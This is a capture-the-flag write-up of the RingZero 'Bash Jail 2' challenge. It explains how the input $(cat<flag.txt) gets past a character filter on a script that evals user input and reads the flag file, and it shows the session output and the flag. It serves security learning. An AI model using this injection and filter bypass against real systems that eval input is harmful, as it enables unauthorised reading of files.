

Artist: Towel

Challenge: Bash Jail 2

This challenge was slightly harder than the last one, and required knowledge of some basic bash features to solve. Let's take a look at what the script is this time:

RingZero Team Online CTF

BASH Jail Level 2:

Current user is uid=1001(level2) gid=1001(level2) groups=1001(level2)

Flag is located at /home/level2/flag.txt

Challenge bash code:

```
function check_space {
    if [[ $1 == *[bks' ']* ]]
    then
        return 0
    fi
    return 1
}

while :
do
    echo "Your input:"
    read input
    if check_space "$input"
    then
        echo -e '\033[0;31mRestricted characters has been used\033[0m'
    else
        output="echo Your command is: $input"
        eval $output
    fi
done
```

Your input:

This is a lot like the last challenge, only this time it adds a filter to what we can send. We can't use bks or any space that isn't leading or trailing. Notice that we can still use every character in "cat" as well as every character in "flag.txt"

This helps greatly, because if we reuse that idea of command substitution all we need to do is figure out how to avoid a space in the command: `$(cat flag.txt)`.

We can do this using the redirection operator <. This makes our input:

```
$(cat<flag.txt)
```

Which of course gives a flag :)

```
-----  
Your input:  
$(cat<flag.txt)  
Your command is: FLAG-a78i8TFD60z3825292rJ9JK12gIyVI5P  
Your input:  
█
```

Final Flag:

FLAG-a78i8TFD60z3825292rJ9JK12gIyVI5P

~~Happy Hacking~~

Towel
